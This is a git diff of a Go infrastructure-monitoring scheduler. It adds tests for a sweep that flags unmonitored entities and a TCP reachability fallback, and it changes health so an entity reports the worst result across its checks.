if q := strings.Index(baseURL[at:], "?"); q >= 0 {
|
||||||
|
testURL += baseURL[at+q:]
|
||||||
|
}
|
||||||
|
|
||||||
|
pool, err := db.New(ctx, testURL)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connect test db: %v", err)
|
||||||
|
}
|
||||||
|
if err := pool.Migrate(ctx); err != nil {
|
||||||
|
t.Fatalf("migrate: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() {
|
||||||
|
pool.Close()
|
||||||
|
if admin, err := pgx.Connect(ctx, baseURL); err == nil {
|
||||||
|
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||||
|
admin.Close(ctx)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return pool
|
||||||
|
}
|
||||||
|
|
||||||
|
// fixture builds the four cases that matter, without the full seed:
|
||||||
|
// a declared+monitored type, a declared+unmonitored one, an explicitly
|
||||||
|
// unmonitorable one, and one that inherits its declaration from a parent.
|
||||||
|
func coverageFixture(t *testing.T, pool *db.Pool) map[string]uuid.UUID {
|
||||||
|
t.Helper()
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
exec := func(sql string, args ...any) {
|
||||||
|
t.Helper()
|
||||||
|
if _, err := pool.Exec(ctx, sql, args...); err != nil {
|
||||||
|
t.Fatalf("fixture %q: %v", sql, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||||
|
VALUES ('t-container', NULL, true, 'compute', 'infrastructure', '["resource"]', 'active')
|
||||||
|
ON CONFLICT (name) DO UPDATE SET monitoring_spec = EXCLUDED.monitoring_spec`)
|
||||||
|
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||||
|
VALUES ('t-lxc', 't-container', false, 'compute', 'infrastructure', NULL, 'active')
|
||||||
|
ON CONFLICT (name) DO NOTHING`)
|
||||||
|
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||||
|
VALUES ('t-service', NULL, false, 'software', 'infrastructure', '["http"]', 'active')
|
||||||
|
ON CONFLICT (name) DO NOTHING`)
|
||||||
|
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||||
|
VALUES ('t-site', NULL, false, 'physical', 'infrastructure', '[]', 'active')
|
||||||
|
ON CONFLICT (name) DO NOTHING`)
|
||||||
|
// `check` and `signal` normally arrive with the ontology seed, which this
|
||||||
|
// fixture skips; the sweep creates signal entities and needs both.
|
||||||
|
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||||
|
VALUES ('check', NULL, false, 'operations', 'cognition', '[]', 'active')
|
||||||
|
ON CONFLICT (name) DO NOTHING`)
|
||||||
|
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||||
|
VALUES ('signal', NULL, false, 'operations', 'cognition', '[]', 'active')
|
||||||
|
ON CONFLICT (name) DO NOTHING`)
|
||||||
|
|
||||||
|
ids := map[string]uuid.UUID{}
|
||||||
|
for _, e := range []struct{ slug, typ string }{
|
||||||
|
{"monitored-svc", "t-service"}, // declared + has a check
|
||||||
|
{"unmonitored-svc", "t-service"}, // declared + no check → signal
|
||||||
|
{"inheriting-lxc", "t-lxc"}, // inherits [resource], no check → signal
|
||||||
|
{"a-site", "t-site"}, // explicitly none → never a signal
|
||||||
|
} {
|
||||||
|
id := uuid.New()
|
||||||
|
exec(`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,$2,$3,$2,'active','{}',1,now(),now())`, id, e.slug, e.typ)
|
||||||
|
ids[e.slug] = id
|
||||||
|
}
|
||||||
|
|
||||||
|
// Only monitored-svc gets a check.
|
||||||
|
checkID := uuid.New()
|
||||||
|
exec(`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'check:t:monitored-svc:0','check','c-monitored-svc','active','{}',1,now(),now())`, checkID)
|
||||||
|
exec(`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
||||||
|
VALUES ($1,$2,'http','{}',60,30,true)`, checkID, ids["monitored-svc"])
|
||||||
|
|
||||||
|
return ids
|
||||||
|
}
|
||||||
|
|
||||||
|
func openSignals(t *testing.T, pool *db.Pool, targetID uuid.UUID) (int, int) {
|
||||||
|
t.Helper()
|
||||||
|
var count, occurrences int
|
||||||
|
err := pool.QueryRow(context.Background(),
|
||||||
|
`SELECT count(*), COALESCE(max(occurrence_count),0) FROM signals
|
||||||
|
WHERE target_entity_id = $1 AND kind = $2 AND state NOT IN ('resolved','failed')`,
|
||||||
|
targetID, UnmonitoredKind).Scan(&count, &occurrences)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("count signals: %v", err)
|
||||||
|
}
|
||||||
|
return count, occurrences
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCoverageSweepOnlyFlagsDeclaredButUnmonitored(t *testing.T) {
|
||||||
|
pool := newCoveragePool(t)
|
||||||
|
ids := coverageFixture(t, pool)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
|
||||||
|
for _, c := range []struct {
|
||||||
|
slug string
|
||||||
|
want int
|
||||||
|
why string
|
||||||
|
}{
|
||||||
|
{"unmonitored-svc", 1, "declares http, has no check"},
|
||||||
|
{"inheriting-lxc", 1, "inherits [resource] from its parent, has no check"},
|
||||||
|
{"monitored-svc", 0, "has a check"},
|
||||||
|
{"a-site", 0, "declares monitoring: none — flagging it would be a permanent false positive"},
|
||||||
|
} {
|
||||||
|
got, _ := openSignals(t, pool, ids[c.slug])
|
||||||
|
if got != c.want {
|
||||||
|
t.Errorf("%s (%s): %d open unmonitored signals, want %d", c.slug, c.why, got, c.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCoverageSweepDedupsRatherThanDuplicating(t *testing.T) {
|
||||||
|
pool := newCoveragePool(t)
|
||||||
|
ids := coverageFixture(t, pool)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
|
||||||
|
count, occurrences := openSignals(t, pool, ids["unmonitored-svc"])
|
||||||
|
if count != 1 {
|
||||||
|
t.Errorf("three sweeps produced %d signals, want 1", count)
|
||||||
|
}
|
||||||
|
if occurrences != 3 {
|
||||||
|
t.Errorf("occurrence_count = %d after three sweeps, want 3", occurrences)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCoverageSweepResolvesWhenACheckAppears(t *testing.T) {
|
||||||
|
pool := newCoveragePool(t)
|
||||||
|
ids := coverageFixture(t, pool)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
if count, _ := openSignals(t, pool, ids["unmonitored-svc"]); count != 1 {
|
||||||
|
t.Fatalf("expected an open signal before the check is added, got %d", count)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The entity acquires a check. The scheduler's normal auto-resolve keys on
|
||||||
|
// the check entity id and only from 'raised', so it could never clear this.
|
||||||
|
checkID := uuid.New()
|
||||||
|
if _, err := pool.Exec(ctx,
|
||||||
|
// entities has a unique (type, name), so this cannot reuse the
|
||||||
|
// fixture check's name.
|
||||||
|
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'check:t:unmonitored-svc:0','check','c-unmonitored-svc','active','{}',1,now(),now())`, checkID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := pool.Exec(ctx,
|
||||||
|
`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
||||||
|
VALUES ($1,$2,'http','{}',60,30,true)`, checkID, ids["unmonitored-svc"]); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
|
||||||
|
if count, _ := openSignals(t, pool, ids["unmonitored-svc"]); count != 0 {
|
||||||
|
t.Errorf("signal should have resolved once the entity had a check, %d still open", count)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Against the real ontology and inventory rather than a fixture: the sweep
|
||||||
|
// must stay silent for types that opted out and speak up for the genuine gaps.
|
||||||
|
// Asserted as properties, not exact counts, so it does not break every time
|
||||||
|
// the fleet changes.
|
||||||
|
func TestCoverageSweepAgainstTheRealSeed(t *testing.T) {
|
||||||
|
pool := newCoveragePool(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
for _, f := range []string{"ontology.yaml", "inventory.yaml", "policy.yaml"} {
|
||||||
|
content, err := os.ReadFile("../../seeds/" + f)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read %s: %v", f, err)
|
||||||
|
}
|
||||||
|
err = pool.SeedIngest(ctx, f, content,
|
||||||
|
func(ctx context.Context, tx pgx.Tx, data map[string]any) error {
|
||||||
|
switch f {
|
||||||
|
case "ontology.yaml":
|
||||||
|
_, err := db.IngestOntologySeed(ctx, tx, data)
|
||||||
|
return err
|
||||||
|
case "inventory.yaml":
|
||||||
|
_, err := db.IngestInventorySeed(ctx, tx, data)
|
||||||
|
return err
|
||||||
|
default:
|
||||||
|
_, err := db.IngestPolicySeed(ctx, tx, data)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ingest %s: %v", f, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
|
||||||
|
flagged := map[string]int{}
|
||||||
|
rows, err := pool.Query(ctx, `
|
||||||
|
SELECT e.type, count(*)
|
||||||
|
FROM signals s JOIN entities e ON e.id = s.target_entity_id
|
||||||
|
WHERE s.kind = $1 AND s.state NOT IN ('resolved','failed')
|
||||||
|
GROUP BY e.type`, UnmonitoredKind)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for rows.Next() {
|
||||||
|
var typ string
|
||||||
|
var n int
|
||||||
|
if err := rows.Scan(&typ, &n); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
flagged[typ] = n
|
||||||
|
}
|
||||||
|
rows.Close()
|
||||||
|
|
||||||
|
t.Logf("unmonitored signals by entity type: %v", flagged)
|
||||||
|
|
||||||
|
// Declared `monitoring: none` — flagging these would be a permanent,
|
||||||
|
// unresolvable false positive, which is the failure mode that would make
|
||||||
|
// the signal worthless.
|
||||||
|
for _, typ := range []string{"site", "lan", "mesh", "cluster"} {
|
||||||
|
if n := flagged[typ]; n != 0 {
|
||||||
|
t.Errorf("%s declares monitoring: none but %d were flagged unmonitored", typ, n)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Types that now get real checks must not be flagged either.
|
||||||
|
for _, typ := range []string{"service", "lxc", "ingress-route", "proxmox-host"} {
|
||||||
|
if n := flagged[typ]; n != 0 {
|
||||||
|
t.Errorf("%s should be covered by checkdefaults, but %d were flagged", typ, n)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Genuine gaps: no `dns` checker, no edge from a pool to its machine.
|
||||||
|
for _, typ := range []string{"dns-zone", "storage-pool"} {
|
||||||
|
if flagged[typ] == 0 {
|
||||||
|
t.Errorf("%s is a known gap and should have been flagged", typ)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A resolved signal must be re-raisable. The (target, kind) partial unique
|
||||||
|
// index only covers open signals, so a resolved row does not conflict there —
|
||||||
|
// it collides on the primary key instead, which is why the upsert targets the
|
||||||
|
// PK.
|
||||||
|
func TestCoverageSweepReRaisesAfterResolution(t *testing.T) {
|
||||||
|
pool := newCoveragePool(t)
|
||||||
|
ids := coverageFixture(t, pool)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
if _, err := pool.Exec(ctx,
|
||||||
|
`UPDATE signals SET state='resolved' WHERE target_entity_id=$1 AND kind=$2`,
|
||||||
|
ids["unmonitored-svc"], UnmonitoredKind); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
|
||||||
|
count, _ := openSignals(t, pool, ids["unmonitored-svc"])
|
||||||
|
if count != 1 {
|
||||||
|
t.Errorf("a resolved signal should be re-raisable, got %d open", count)
|
||||||
|
}
|
||||||
|
}
|
||||||
25
internal/scheduler/reachability_test.go
Normal file
25
internal/scheduler/reachability_test.go
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
package scheduler
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// The scheduler runs in Docker on macOS, whose VM does not route ICMP to the
|
||||||
|
// LAN — every ping check reported "down" for hosts that were demonstrably up.
|
||||||
|
// tcpReachable is the fallback that keeps "is it reachable" answerable.
|
||||||
|
func TestTCPReachableAnswersWhenICMPCannot(t *testing.T) {
|
||||||
|
ctx := context.Background()
|
||||||
|
// localhost:22 is open on this machine (sshd), and port 1 is not.
|
||||||
|
if !tcpReachable(ctx, "127.0.0.1", 22, 3*time.Second) {
|
||||||
|
t.Skip("no sshd on localhost — cannot exercise the positive case")
|
||||||
|
}
|
||||||
|
if tcpReachable(ctx, "127.0.0.1", 1, 1*time.Second) {
|
||||||
|
t.Error("port 1 should not be reachable")
|
||||||
|
}
|
||||||
|
// Defaults to 22 when unset, which is what checkdefaults' ping configs use.
|
||||||
|
if !tcpReachable(ctx, "127.0.0.1", 0, 3*time.Second) {
|
||||||
|
t.Error("port 0 should default to 22")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -16,12 +16,14 @@ import (
|
|||||||
"regexp"
|
"regexp"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/dtoro/oikos/internal/config"
|
"github.com/dtoro/oikos/internal/config"
|
||||||
"github.com/dtoro/oikos/internal/db"
|
"github.com/dtoro/oikos/internal/db"
|
||||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
"github.com/dtoro/oikos/internal/observability"
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/dtoro/oikos/internal/remote"
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
"golang.org/x/sync/errgroup"
|
"golang.org/x/sync/errgroup"
|
||||||
"golang.org/x/sys/unix"
|
"golang.org/x/sys/unix"
|
||||||
@@ -73,7 +75,12 @@ func runCheckPass(ctx context.Context, pool *db.Pool) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
if len(defs) == 0 {
|
if len(defs) == 0 {
|
||||||
|
// Still run housekeeping: a fleet with no enabled check_defs is
|
||||||
|
// precisely the case coverageSweep exists to report, and returning
|
||||||
|
// here would mean the one situation that most needs reporting is the
|
||||||
|
// one situation that stays silent.
|
||||||
slog.Debug("scheduler: no enabled check_defs")
|
slog.Debug("scheduler: no enabled check_defs")
|
||||||
|
housekeeping(ctx, pool)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -105,7 +112,22 @@ func runCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDef
|
|||||||
q := sqlcgen.New(pool)
|
q := sqlcgen.New(pool)
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
|
|
||||||
result := executeCheck(ctx, cd)
|
result := executeCheck(ctx, pool, cd)
|
||||||
|
|
||||||
|
// Stamp the run before processing the result: due-ness must advance even
|
||||||
|
// when a check fails, or a permanently failing check would be re-run on
|
||||||
|
// every pass instead of at its declared interval. last_health records THIS
|
||||||
|
// check's own verdict, which is what makes the aggregation below possible.
|
||||||
|
checkHealth := result.health
|
||||||
|
if checkHealth == "" {
|
||||||
|
checkHealth = "healthy"
|
||||||
|
}
|
||||||
|
if err := q.MarkCheckRun(ctx, sqlcgen.MarkCheckRunParams{
|
||||||
|
EntityID: cd.EntityID,
|
||||||
|
LastHealth: &checkHealth,
|
||||||
|
}); err != nil {
|
||||||
|
slog.Error("scheduler: mark check run", "entity", cd.EntitySlug, "error", err)
|
||||||
|
}
|
||||||
|
|
||||||
latency := time.Since(start).Milliseconds()
|
latency := time.Since(start).Milliseconds()
|
||||||
|
|
||||||
@@ -137,16 +159,12 @@ func runCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDef
|
|||||||
|
|
||||||
if result.signalKind == "" || result.health == "healthy" {
|
if result.signalKind == "" || result.health == "healthy" {
|
||||||
resolveSignal(ctx, pool, cd.EntityID, targetID, cd.EntitySlug)
|
resolveSignal(ctx, pool, cd.EntityID, targetID, cd.EntitySlug)
|
||||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
// NOT unconditionally "healthy": this check passing says nothing about
|
||||||
EntityID: targetID,
|
// the entity's other checks. Writing healthy here is what let one
|
||||||
Health: "healthy",
|
// passing probe erase a genuine failure reported by another — and,
|
||||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
// alternating with a failing probe, produced 226 health flips an hour
|
||||||
Details: []byte(`{}`),
|
// on a host that was fine throughout.
|
||||||
})
|
applyAggregateHealth(ctx, pool, q, targetID, cd.EntitySlug, prevHealth)
|
||||||
if prevHealth != "" && prevHealth != "healthy" {
|
|
||||||
emitSchedulerEvent(ctx, pool, "health.changed", targetID, "info",
|
|
||||||
map[string]any{"slug": cd.EntitySlug, "from": prevHealth, "to": "healthy"})
|
|
||||||
}
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -167,22 +185,52 @@ func runCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDef
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
|
||||||
EntityID: targetID,
|
|
||||||
Health: result.health,
|
|
||||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
|
||||||
Details: []byte(`{}`),
|
|
||||||
})
|
|
||||||
_ = sig
|
_ = sig
|
||||||
|
|
||||||
if prevHealth == "" || prevHealth == "healthy" {
|
if prevHealth == "" || prevHealth == "healthy" {
|
||||||
emitSchedulerEvent(ctx, pool, "signal.raised", targetID, severity,
|
emitSchedulerEvent(ctx, pool, "signal.raised", targetID, severity,
|
||||||
map[string]any{"slug": cd.EntitySlug, "kind": result.signalKind, "evidence": result.evidence})
|
map[string]any{"slug": cd.EntitySlug, "kind": result.signalKind, "evidence": result.evidence})
|
||||||
}
|
}
|
||||||
if prevHealth != result.health {
|
applyAggregateHealth(ctx, pool, q, targetID, cd.EntitySlug, prevHealth)
|
||||||
emitSchedulerEvent(ctx, pool, "health.changed", targetID, severity,
|
}
|
||||||
map[string]any{"slug": cd.EntitySlug, "from": prevHealth, "to": result.health})
|
|
||||||
|
// applyAggregateHealth sets the target's health to the worst verdict across
|
||||||
|
// all of its enabled checks, and emits health.changed only when that aggregate
|
||||||
|
// actually moves.
|
||||||
|
//
|
||||||
|
// Health is a property of the entity, but each check only ever observes one
|
||||||
|
// facet of it — reachability, disk, a systemd unit. Letting whichever check
|
||||||
|
// finished last overwrite the entity's health meant a host with six checks
|
||||||
|
// reported whichever facet was sampled most recently, so one failing probe and
|
||||||
|
// five passing ones oscillated forever instead of settling on "degraded".
|
||||||
|
func applyAggregateHealth(ctx context.Context, pool *db.Pool, q *sqlcgen.Queries,
|
||||||
|
targetID uuid.UUID, checkSlug, prevHealth string) {
|
||||||
|
|
||||||
|
health, err := q.WorstHealthForTarget(ctx, &targetID)
|
||||||
|
if err != nil {
|
||||||
|
slog.Error("scheduler: aggregate health", "entity", checkSlug, "error", err)
|
||||||
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
||||||
|
EntityID: targetID,
|
||||||
|
Health: health,
|
||||||
|
LastCheckAt: &[]time.Time{time.Now()}[0],
|
||||||
|
Details: []byte(`{}`),
|
||||||
|
})
|
||||||
|
|
||||||
|
if prevHealth == health {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
severity := "info"
|
||||||
|
switch health {
|
||||||
|
case "down":
|
||||||
|
severity = "critical"
|
||||||
|
case "degraded", "stale":
|
||||||
|
severity = "warning"
|
||||||
|
}
|
||||||
|
emitSchedulerEvent(ctx, pool, "health.changed", targetID, severity,
|
||||||
|
map[string]any{"slug": checkSlug, "from": prevHealth, "to": health})
|
||||||
}
|
}
|
||||||
|
|
||||||
// currentHealth reads the last recorded health for an entity, or "" if none.
|
// currentHealth reads the last recorded health for an entity, or "" if none.
|
||||||
@@ -204,7 +252,6 @@ func emitSchedulerEvent(ctx context.Context, pool *db.Pool, eventType string, en
|
|||||||
// checkID matches how signals are keyed (UpsertSignal uses the check's own
|
// checkID matches how signals are keyed (UpsertSignal uses the check's own
|
||||||
// entity id); targetID is the observed entity whose status this affects.
|
// entity id); targetID is the observed entity whose status this affects.
|
||||||
func resolveSignal(ctx context.Context, pool *db.Pool, checkID, targetID uuid.UUID, slug string) {
|
func resolveSignal(ctx context.Context, pool *db.Pool, checkID, targetID uuid.UUID, slug string) {
|
||||||
q := sqlcgen.New(pool)
|
|
||||||
// Check if there's an open signal on this entity
|
// Check if there's an open signal on this entity
|
||||||
tag, err := pool.Exec(ctx, `UPDATE signals SET state = 'resolved', updated_at = now()
|
tag, err := pool.Exec(ctx, `UPDATE signals SET state = 'resolved', updated_at = now()
|
||||||
WHERE entity_id = $1 AND state = 'raised'`, checkID)
|
WHERE entity_id = $1 AND state = 'raised'`, checkID)
|
||||||
@@ -214,14 +261,12 @@ func resolveSignal(ctx context.Context, pool *db.Pool, checkID, targetID uuid.UU
|
|||||||
if tag.RowsAffected() > 0 {
|
if tag.RowsAffected() > 0 {
|
||||||
emitSchedulerEvent(ctx, pool, "signal.resolved", targetID, "info",
|
emitSchedulerEvent(ctx, pool, "signal.resolved", targetID, "info",
|
||||||
map[string]any{"slug": slug})
|
map[string]any{"slug": slug})
|
||||||
|
slog.Info("scheduler: signal resolved", "entity", slug)
|
||||||
}
|
}
|
||||||
_ = q.UpsertEntityStatus(ctx, sqlcgen.UpsertEntityStatusParams{
|
// Deliberately does NOT write health. Resolving THIS check's signal says
|
||||||
EntityID: targetID,
|
// nothing about the target's other checks; the caller re-derives health
|
||||||
Health: "healthy",
|
// from all of them. Forcing "healthy" here was a second path by which one
|
||||||
LastCheckAt: &[]time.Time{time.Now()}[0],
|
// passing probe erased another probe's genuine failure.
|
||||||
Details: []byte(`{}`),
|
|
||||||
})
|
|
||||||
slog.Info("scheduler: signal resolved", "entity", slug)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkResult bundles the outcome of a single check execution.
|
// checkResult bundles the outcome of a single check execution.
|
||||||
@@ -233,8 +278,10 @@ type checkResult struct {
|
|||||||
err error
|
err error
|
||||||
}
|
}
|
||||||
|
|
||||||
// executeCheck dispatches to the appropriate checker by kind.
|
// executeCheck dispatches to the appropriate checker by kind. pool is needed
|
||||||
func executeCheck(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
// by the ssh-script path, which resolves the target's execution endpoint
|
||||||
|
// (guests route through their Proxmox host; see internal/remote).
|
||||||
|
func executeCheck(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||||
switch cd.Kind {
|
switch cd.Kind {
|
||||||
case "http":
|
case "http":
|
||||||
return checkHTTP(ctx, cd)
|
return checkHTTP(ctx, cd)
|
||||||
@@ -244,10 +291,14 @@ func executeCheck(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) check
|
|||||||
return checkDisk(ctx, cd)
|
return checkDisk(ctx, cd)
|
||||||
case "cert-expiry":
|
case "cert-expiry":
|
||||||
return checkCertExpiry(ctx, cd)
|
return checkCertExpiry(ctx, cd)
|
||||||
|
case "vm-status":
|
||||||
|
return checkVMStatus(ctx, pool, cd)
|
||||||
case "ping":
|
case "ping":
|
||||||
return checkPing(ctx, cd)
|
return checkPing(ctx, cd)
|
||||||
case "ssh-script":
|
case "ssh-script":
|
||||||
return checkSSHScript(ctx, cd)
|
return checkSSHScript(ctx, pool, cd)
|
||||||
|
case "backup-freshness":
|
||||||
|
return checkBackupFreshness(ctx, cd)
|
||||||
default:
|
default:
|
||||||
return checkResult{health: "unknown"}
|
return checkResult{health: "unknown"}
|
||||||
}
|
}
|
||||||
@@ -265,6 +316,7 @@ func housekeeping(ctx context.Context, pool *db.Pool) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
staleSweep(ctx, pool)
|
staleSweep(ctx, pool)
|
||||||
|
coverageSweep(ctx, pool)
|
||||||
|
|
||||||
// Log housekeeping completion
|
// Log housekeeping completion
|
||||||
slog.Debug("scheduler: housekeeping done", "pruned_idempotency_before", cutoff.Format(time.RFC3339))
|
slog.Debug("scheduler: housekeeping done", "pruned_idempotency_before", cutoff.Format(time.RFC3339))
|
||||||
@@ -337,9 +389,14 @@ func checkHTTP(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
|||||||
cfg := struct {
|
cfg := struct {
|
||||||
URL string `json:"url"`
|
URL string `json:"url"`
|
||||||
ExpectedStatus int `json:"expected_status"`
|
ExpectedStatus int `json:"expected_status"`
|
||||||
Insecure bool `json:"insecure"`
|
// MaxStatus accepts a range instead of one exact code. Most services
|
||||||
|
// sit behind Authentik and answer 302 or 401 — a working service, but
|
||||||
|
// an exact-match on 200 reports it degraded and raises a signal.
|
||||||
|
// Unset expected_status means "any response below MaxStatus is fine".
|
||||||
|
MaxStatus int `json:"max_status"`
|
||||||
|
Insecure bool `json:"insecure"`
|
||||||
}{
|
}{
|
||||||
ExpectedStatus: 200,
|
MaxStatus: 500,
|
||||||
}
|
}
|
||||||
if len(cd.Config) > 0 {
|
if len(cd.Config) > 0 {
|
||||||
_ = json.Unmarshal(cd.Config, &cfg)
|
_ = json.Unmarshal(cd.Config, &cfg)
|
||||||
@@ -379,10 +436,17 @@ func checkHTTP(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
|||||||
}
|
}
|
||||||
defer resp.Body.Close()
|
defer resp.Body.Close()
|
||||||
|
|
||||||
if resp.StatusCode != cfg.ExpectedStatus {
|
if cfg.ExpectedStatus != 0 {
|
||||||
|
if resp.StatusCode != cfg.ExpectedStatus {
|
||||||
|
return checkResult{
|
||||||
|
health: "degraded", signalKind: "http",
|
||||||
|
evidence: fmt.Sprintf("GET %s returned %d (expected %d)", cfg.URL, resp.StatusCode, cfg.ExpectedStatus),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if resp.StatusCode >= cfg.MaxStatus {
|
||||||
return checkResult{
|
return checkResult{
|
||||||
health: "degraded", signalKind: "http",
|
health: "degraded", signalKind: "http",
|
||||||
evidence: fmt.Sprintf("GET %s returned %d (expected %d)", cfg.URL, resp.StatusCode, cfg.ExpectedStatus),
|
evidence: fmt.Sprintf("GET %s returned %d (expected below %d)", cfg.URL, resp.StatusCode, cfg.MaxStatus),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -462,8 +526,8 @@ func checkDisk(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
|||||||
if usedPct > float64(cfg.ThresholdPct) {
|
if usedPct > float64(cfg.ThresholdPct) {
|
||||||
return checkResult{
|
return checkResult{
|
||||||
health: "degraded", signalKind: "disk",
|
health: "degraded", signalKind: "disk",
|
||||||
evidence: fmt.Sprintf("%s %.1f%% full (threshold %d%%)", cfg.Path, usedPct, cfg.ThresholdPct),
|
evidence: fmt.Sprintf("%s %.1f%% full (threshold %d%%)", cfg.Path, usedPct, cfg.ThresholdPct),
|
||||||
metrics: metrics,
|
metrics: metrics,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -474,6 +538,12 @@ func checkDisk(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
|||||||
func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||||
cfg := struct {
|
cfg := struct {
|
||||||
Host string `json:"host"`
|
Host string `json:"host"`
|
||||||
|
// Dial is an optional explicit dial address (the TLS terminator's IP)
|
||||||
|
// for when the hostname doesn't resolve/reach from the scheduler — the
|
||||||
|
// container has no mesh interface and the host resolver doesn't know
|
||||||
|
// the split-horizon zone, so *.hubris.network dials Caddy's lab IP
|
||||||
|
// directly while SNI/cert-read still uses Host.
|
||||||
|
Dial string `json:"dial"`
|
||||||
Port int `json:"port"`
|
Port int `json:"port"`
|
||||||
WarnDays int `json:"warn_days"`
|
WarnDays int `json:"warn_days"`
|
||||||
CritDays int `json:"crit_days"`
|
CritDays int `json:"crit_days"`
|
||||||
